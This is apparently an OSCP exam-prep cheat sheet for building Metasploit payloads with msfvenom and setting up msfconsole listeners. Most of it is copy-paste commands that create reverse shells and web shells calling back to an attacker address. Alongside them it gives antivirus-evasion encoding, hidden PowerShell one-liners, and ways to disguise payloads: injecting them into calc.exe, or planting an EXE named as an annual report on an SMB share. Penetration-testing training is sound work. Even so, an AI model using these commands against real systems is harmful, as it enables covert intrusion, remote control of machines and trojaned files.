Payload Generation Strategies
1. Staged vs Stageless Payloads
Staged Payloads (e.g., windows/meterpreter/reverse_tcp)
Two-stage delivery: Stage 0 (stager) → Stage 1 (stage/payload).
┌──────────────┐ Stage 0 (tiny) ┌──────────────┐ Stage 1 (full) ┌──────────────┐
│ Target Host │ ──────────────────────► │ Attacker │ ─────────────────────► │ Target Host │
│ │ reverse_tcp stager │ (LHOST:4444) │ full Meterpreter │ │
│ [small] │ ◄────────────────────── │ │ ◄────────────────────── │ [full] │
└──────────────┘ connects back └──────────────┘ downloads payload └──────────────┘
- Stage 0 (Stager): ~500 bytes, does nothing but call back and download Stage 1.
- Stage 1 (Stage): Full Meterpreter DLL, downloaded over the established channel.
- Advantages: Small initial payload (easier to deliver/spray), full Meterpreter feature set.
- Disadvantages: Two network calls (more AV detection surface), stage download can be blocked by firewalls/DLP.
- When to use: When delivery mechanism has size constraints (e.g., small buffer overflow, phishing attachment with limited space).
Stageless Payloads (e.g., windows/meterpreter/reverse_tcp_stageless)
Single-stage delivery: Everything in one blob.
┌──────────────┐ Single blob (all-in-one) ┌──────────────┐
│ Target Host │ ───────────────────────────────► │ Attacker │
│ │ full payload, no second call │ (LHOST:4444) │
│ [large] │ ◄──────────────────────────────── │ │
└──────────────┘ immediate session └──────────────┘
- Single blob: Stager + payload combined, typically 600KB+.
- Advantages: Only one network call (less detection surface), no second download to trigger AV.
- Disadvantages: Large size (harder to deliver via constrained vectors).
- When to use: When you control the delivery mechanism and size is not a constraint (e.g., direct file drop, large phishing attachment).
Quick Comparison Table
| Aspect | Staged | Stageless |
|---|---|---|
| Size | ~500 bytes (stager) | ~600KB+ |
| Network calls | 2 (stager + stage) | 1 |
| AV detection risk | Higher (two callbacks) | Lower (one callback) |
| Delivery flexibility | High (tiny stager) | Low (large blob) |
| OSCP recommendation | Default choice | When stager is blocked |
2. msfvenom Command Reference
Core Syntax
msfvenom -p <payload> [options] > output
Essential Options
| Flag | Description | Example |
|---|---|---|
-p |
Payload to use | -p windows/meterpreter/reverse_tcp |
-f |
Output format | -f exe, -f powershell, -f raw |
-e |
Encoder to apply | -e x86/shikata_ga_nai |
-i |
Encoder iterations | -i 5 |
-b |
Bad chars (hex) | -b '\x00\xff' |
-n |
Junk prepender type | -n unicode |
-s |
Max payload size | -s 500 |
-a |
Architecture | -a x86, -a x64 |
-o |
Output file path | -o payload.exe |
-x |
Template EXE for injection | -x clean.exe |
-k |
Inject into template (preserve original) | -k (use with -x) |
-c |
Append command to payload | -c "whoami" |
Common Encoders
| Encoder | Use Case |
|---|---|
x86/shikata_ga_nai |
Most reliable x86 encoder, use with -i 5 to -i 9 |
x86/fnstenv_mov |
Alternative when shikata fails |
x86/call4_dword_xor |
Good for specific bad char constraints |
x86/jmp_call_additive |
Lightweight encoding option |
Bad Characters
# Common bad chars for buffer overflows
-b '\x00' # Null byte (almost always bad)
-b '\x00\x0a\x0d' # Null + newline + carriage return
-b '\x00\x20' # Null + space
3. All Payload Output Formats
Binary Formats
# EXE (standalone executable)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell.exe
# DLL (dynamic link library)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f dll -o shell.dll
# Raw binary (no wrapper, just shellcode bytes)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw -o shell.raw
# ELF (Linux executable)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f elf -o shell.elf
Scripting Language Formats
# PowerShell command (copy-paste ready)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f psh-cmd
# Output: powershell -NoP -NonI -W Hidden -Exec Bypass -enc <base64>
# PowerShell script file
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f psh-net -o shell.ps1
# Python (prints shellcode as string)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f python
# Output: buf = b"\xfc\xe8\x00\x00..."
# Python one-liner (executes directly)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
# Bash (hex-encoded, ready for eval)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f bash
# Output: echo <hex> | base64 -d | bash
# Ruby (array format)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f ruby
# Output: buf = [0xfc, 0xe8, 0x00, 0x00, ...].pack("C*")
Web/Server Formats
# PHP (web shell)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw -o shell.php
# JSP (Java web shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw -o shell.jsp
# WAR (deployable web archive)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f war -o shell.war
# ASP (IIS web shell)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f asp -o shell.asp
Source Code Formats
# C source (shellcode as char array)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f c
# C# source
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f csharp
# JavaScript (Node.js)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f js_le
# VBS (Visual Basic Script)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f vbs
Other Formats
# Base64 encoded (for inline use)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f c | base64
# HTML (applet-based, legacy)
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f html
# XML (for SOAP/WS-* injection)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f xml
# Compound document (OLE object in RTF/DOC)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f compound-document
4. Payload Options
LHOST and LPORT
# LHOST: Your attacker machine IP (the listener address)
# LPORT: Port the payload will connect back to
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell.exe
OSCP Tip: Always use your Kali/Tuna machine’s IP as LHOST. Verify with
ip abefore generating.
PrependMigrate
# Automatically migrate to a new process on session creation
# Prevents session loss if the initial process crashes
PrependMigrate=true
PrependMigrateProc=explorer.exe # Specific process to migrate to
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
PrependMigrate=true -f exe -o shell.exe
EXITFUNC
# Controls how the payload exits/cleans up
# process: ExitProcess (default for staged, clean)
# thread: ExitThread (default for stageless, may leave artifacts)
# none: No cleanup (for debugging)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
EXITFUNC=process -f exe -o shell.exe
AutoRunScript (msfconsole handler option)
# In msfconsole handler configuration:
set AutoRunScript post/multi/manage/autoroute
# Automatically adds routes for discovered subnets
set AutoRunScript migrate -f
# Automatically migrate on session creation
5. Listener Setup in msfconsole
Basic Handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit
Multi-Handler (Multiple Sessions)
# Use -j to run in background, accept multiple connections
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
set EnableStageEncoding true # Encode stage payload (AV evasion)
set StageEncoder x86/fnstenv_mov # Encoder for the stage
set StageEncodingFallback false # Don't fall back to unencoded
exploit -j # Run as background job
Resource Script (Persistent Handler)
# Create handler.rc:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
set ExitOnSession false
exploit -j -z
# Run with:
msfconsole -r handler.rc
Background Job Management
jobs # List all background jobs
jobs -K # Suspend all jobs
jobs -R # Resume all jobs
jobs -I <id> # Interact with a specific job
sessions -l # List all active sessions
sessions -i 1 # Interact with session 1
sessions -k 1 # Kill session 1
sessions -K # Kill all sessions
6. Reverse vs Bind Payloads
Reverse (Outbound Connection)
# Target connects BACK to attacker
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell.exe
- Use when: Attacker is behind NAT/firewall, target can make outbound connections.
- OSCP: 95% of the time, use reverse payloads.
- Firewall friendly: Outbound connections rarely blocked.
Bind (Inbound Connection)
# Attacker connects TO target (target listens)
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe
- Use when: Target has a known/reachable IP, attacker cannot receive connections.
- OSCP: Rarely needed. Only use if reverse is blocked.
- Firewall unfriendly: Inbound connections often blocked.
7. Transport Protocols
TCP (Default)
# Standard reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell.exe
HTTPS (Encrypted, AV Evasion)
# Meterpreter over HTTPS (encrypted channel)
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=443 -f exe -o shell.exe
# Handler:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.3
set LPORT 443
exploit -j
DNS (Covert Channel)
# DNS-based C2 (hard to detect, slow)
msfvenom -p windows/meterpreter/reverse_dns LHOST=attacker.domain.com LPORT=53 -f exe -o shell.exe
OSCP Note: TCP is sufficient for OSCP. HTTPS is useful when basic AV is present. DNS is rarely needed.
8. Template Injection (-x and -k)
Basic Template Injection
# Inject payload into a legitimate EXE (preserves icon, metadata)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-x /usr/share/windows-binaries/calc.exe \
-k -f exe -o calc.exe
Flag Breakdown
| Flag | Effect |
|---|---|
-x template.exe |
Use this EXE as the base template |
-k |
Inject payload as a new thread; original EXE functionality preserved |
-x without -k |
Replace the original EXE entirely with the payload |
With Template (-k):
User runs calc.exe → Calculator opens normally (original code runs)
→ Payload also executes in background (new thread)
Without Template (-x only):
User runs calc.exe → Calculator does NOT open
→ Only the payload executes
OSCP Tip: Use
-kwhen you want social engineering (user sees the app “working”). Use without-kwhen you just need a disguised carrier.
Template Sources
# Pre-installed clean binaries on Kali
/usr/share/windows-binaries/
# Contains: calc.exe, notepad.exe, mspaint.exe, etc.
9. Practical OSCP Scenarios
Scenario 1: Web Shell Upload → Meterpreter
# Step 1: Generate PHP web shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f raw -o shell.php
# Step 2: Set up handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit -j
# Step 3: Upload via web vuln and browse to shell.php
Scenario 2: SMB Share Bait File
# Step 1: Generate EXE disguised as a document
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-f exe -o "Annual_Report_2024.exe"
# Step 2: Place on SMB share
cp "Annual_Report_2024.exe" /usr/share/samba/
# Step 3: Set up handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
set ExitOnSession false
exploit -j
Scenario 3: PowerShell One-Liner (No File Drop)
# Generate PowerShell encoded command
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f psh-cmd
# Output: powershell -NoP -NonI -W Hidden -Exec Bypass -enc <base64payload>
# Paste directly into command prompt on target
# No file creation = less AV detection
Scenario 4: Linux Reverse Shell
# Bash reverse shell (for Linux targets)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f bash
# Or Python one-liner
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f py
Scenario 5: Encoded Payload (Basic AV Evasion)
# Apply encoder to change payload signature
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 \
-e x86/shikata_ga_nai -i 7 -f exe -o shell.exe
# Verify encoding worked (file should differ from unencoded)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f exe -o shell_plain.exe
# Compare: shell.exe vs shell_plain.exe (different hashes = encoding applied)
10. Quick Reference Cheat Sheet
┌─────────────────────────────────────────────────────────────────────┐
│ OSCP Payload Quick Commands │
├─────────────────────────────────────────────────────────────────────┤
│ Windows EXE: │
│ msfvenom -p windows/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=4444 -f exe -o shell.exe │
│ │
│ Windows PS1 (no file): │
│ msfvenom -p windows/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=4444 -f psh-cmd │
│ │
│ PHP Web Shell: │
│ msfvenom -p php/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=4444 -f raw -o shell.php │
│ │
│ Linux Bash: │
│ msfvenom -p linux/x86/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=4444 -f bash │
│ │
│ Handler (background): │
│ use exploit/multi/handler │
│ set PAYLOAD <same_as_above> │
│ set LHOST <IP> │
│ set LPORT 4444 │
│ exploit -j │
└─────────────────────────────────────────────────────────────────────┘
11. Common Mistakes to Avoid
- Wrong LHOST: Using
127.0.0.1or your lab machine IP instead of the attacker machine IP. Always verify withip a. - Port conflict: Using a port already in use. Check with
netstat -tlnp | grep 4444. - Staged vs stageless mismatch: Handler payload must match the generated payload exactly.
- Forgetting
-jflag: Without-j, the handler blocks your terminal. Use-jfor background. - Encoder overuse: Too many encoder iterations (
-i 15+) can corrupt the payload. Stick to-i 5to-i 9. - Bad chars not set: When using shellcode in buffer overflows, always specify
-bwith known bad characters. - Architecture mismatch: Generating x86 payload for x64-only target (or vice versa). Check target arch first.
12. Exam Tips
- Always generate the payload and start the handler BEFORE triggering the exploit.
- Use
ExitOnSession falsein handlers so msfconsole stays running if a session drops. - Keep a resource script (
handler.rc) ready for quick handler setup during the exam. - When in doubt, use
reverse_tcp— it works in virtually every OSCP scenario. - For Windows targets, PowerShell one-liners (
-f psh-cmd) are your most versatile option (no file drop needed). - For Linux targets, the bash format (
-f bash) is copy-paste ready and requires no file creation.